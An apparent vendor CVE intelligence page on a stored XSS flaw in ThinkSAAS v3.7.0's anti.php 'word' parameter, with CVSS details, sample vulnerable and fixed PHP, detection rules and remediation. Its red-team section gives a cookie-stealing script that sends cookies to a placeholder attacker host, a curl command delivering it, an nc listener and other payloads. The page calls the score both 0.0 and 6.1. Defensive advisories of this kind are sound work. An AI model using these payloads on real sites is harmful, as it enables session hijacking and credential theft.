☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-33101

CVE-2024-33101 Cross-Site Scripting in Thinksaas
📅 PUBLISHED: 2024-04-30 00:00 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-33101 is a stored cross-site scripting (XSS) vulnerability identified in ThinkSAAS v3.7.0, specifically within the /action/anti.php component. An attacker can inject arbitrary web scripts or HTML via a crafted payload in the word parameter. This vulnerability allows for persistent client-side attacks, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium. No official patch or exploit code is publicly available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication is needed to trigger the stored XSS.
  • User Interaction (UI): Required (R) – A victim must visit the affected page.
  • Scope (SC): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited information disclosure.
  • Integrity (I): Low (L) – Limited data modification.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 6.1). The lack of a patch and public PoC increases the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability resides in the /action/anti.php script, which processes user input for the word parameter. The application fails to sanitize or encode the input before storing it in the database and later rendering it in a web page. An attacker can submit a payload such as:

<script>alert('XSS')</script>

When an administrator or user views the page that displays the stored word value, the script executes in their browser context. This is a classic stored XSS (also known as persistent XSS) vulnerability.

The attack flow:

  1. Attacker sends a POST request to /action/anti.php with a malicious word parameter.
  2. The server stores the payload in the database without sanitization.
  3. A victim (e.g., admin) navigates to a page that retrieves and renders the stored value.
  4. The malicious script executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (ThinkSAAS v3.7.0):

The vulnerable code in /action/anti.php likely looks like:

<?php
$word = $_POST['word'];
// Directly store without sanitization
$db->query("INSERT INTO anti_spam (word) VALUES ('$word')");
?>

When displaying the stored value, it might be echoed directly:

<?php
echo $row['word'];
?>

Patched Code (Hypothetical):

A secure version would sanitize input and encode output:

<?php
$word = htmlspecialchars($_POST['word'], ENT_QUOTES, 'UTF-8');
// Use prepared statements to prevent SQL injection
$stmt = $db->prepare("INSERT INTO anti_spam (word) VALUES (?)");
$stmt->bind_param("s", $word);
$stmt->execute();
?>

And when displaying:

<?php
echo htmlspecialchars($row['word'], ENT_QUOTES, 'UTF-8');
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

  • ThinkSAAS v3.7.0 instance
  • Access to the /action/anti.php endpoint

Exploitation Steps:

  1. Craft the payload:

    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  2. Send the malicious request:

    curl -X POST http://target.com/action/anti.php -d "word=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"
    
  3. Set up a listener to capture cookies:

    nc -lvnp 80
    
  4. Wait for an admin to visit the affected page.

Alternative Payloads:

  • Session hijacking: <script>document.cookie='PHPSESSID=attacker_session_id';</script>
  • Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>';</script>

Blue Team

Detection:

  • Monitor for unusual POST requests to /action/anti.php containing <script> tags or event handlers.
  • Look for anomalous outbound connections from the web server to unknown IPs.

Hunting:

  • Search database entries in the anti_spam table for HTML/JavaScript content.
  • Review web server logs for requests with encoded or suspicious word parameters.

Lab Setup:

  • Deploy a vulnerable ThinkSAAS v3.7.0 instance in an isolated environment.
  • Use a tool like Burp Suite to intercept and modify requests.
  • Simulate the attack and observe the stored XSS behavior.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /action/anti.php with word parameter containing <script> tags.
    • Outbound HTTP requests to attacker-controlled domains from the web server.
  • File IOCs:
    • Modified database entries in the anti_spam table containing JavaScript.
  • Behavioral IOCs:
    • Unexpected pop-ups or redirects when viewing anti-spam management pages.
    • Unauthorized administrative actions performed without user interaction.

Detection Engineering

YARA Rule

rule CVE_2024_33101_ThinkSAAS_XSS {
    meta:
        description = "Detects stored XSS payloads targeting ThinkSAAS v3.7.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33101"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/is
        $word_param = "word="
    condition:
        $word_param and ($xss_payload or $event_handler)
}

Sigma Rule

title: Stored XSS in ThinkSAAS v3.7.0
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-33101 via POST requests to /action/anti.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/action/anti.php'
        cs-uri-query|contains: 'word='
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in anti-spam words (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33101 ThinkSAAS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/action/anti.php"; http_uri; content:"word="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the /action/anti.php endpoint if not required, using web server access controls.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in the word parameter.
  3. Manually sanitize existing database entries to remove any malicious payloads.

Long-term Fix:

  • Apply input validation and output encoding as shown in the patched code section.
  • Use prepared statements for database queries to prevent SQL injection.
  • Regularly update ThinkSAAS to the latest version if a patch becomes available.

Workarounds:

  • Restrict access to the admin panel using IP whitelisting or VPN.
  • Educate administrators to avoid clicking on suspicious links or visiting untrusted pages while logged in.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-33101/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.